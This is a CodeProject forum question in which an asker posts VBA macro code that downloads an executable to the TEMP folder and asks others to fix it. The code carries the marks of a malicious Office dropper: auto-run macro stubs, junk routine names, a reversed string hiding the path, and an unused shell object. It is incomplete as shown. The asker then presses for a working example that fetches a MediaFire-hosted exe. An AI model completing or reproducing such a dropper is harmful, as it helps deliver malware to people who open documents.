Click here to Skip to main content
15,743,179 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hello, please i am having difficulty in downloading a binary off the internet.
i have this working code for downloading but if i check the binary that is downloaded, the size is quite different from the original and also it won't run because it is corrupt. please, help me because i am not good at scripting. just copied and edit code.

What I have tried:

<pre>Sub ertrettggdfg()
End Sub

Sub AutoOpen()
End Sub

Sub Workbook_Open()
End Sub

Sub sdfertunn()
Dim http_obj
Dim stream_obj
Dim shell_obj

Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
Set shell_obj = CreateObject("WScript.Shell")

URL = "" 'Where to download the file from
FileName = Environ(StrReverse("PMET")) & "/file.exe" 'Name to save the file (on the local system)

http_obj.Open "GET", URL, False

stream_obj.Type = 1
stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2
End Sub
Updated 26-Jan-17 22:34pm
[no name] 26-Jan-17 23:33pm    
Please, someone, anyone help me out... Or is it not downloading as it should from

1 solution

Share this answer
[no name] 27-Jan-17 5:06am    
Sorry, its realy a nice link but like i said i know little of vbs so i dont know how to download .exe from using that link sample.
Richard MacCutchan 27-Jan-17 6:40am    
If you scroll down to the section headed "Getting Binary Data", it explains what extra parameters you need to specify. However, rather than wasting your time with this code you could download it in seconds using your browser.
[no name] 27-Jan-17 7:04am    
Please i need to use an example of a binary downloaded from
Its a competition project which they gave us at school and i really need to get this right. please, can you just help me with an example of a mediafire binary downloaded through vbScript.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900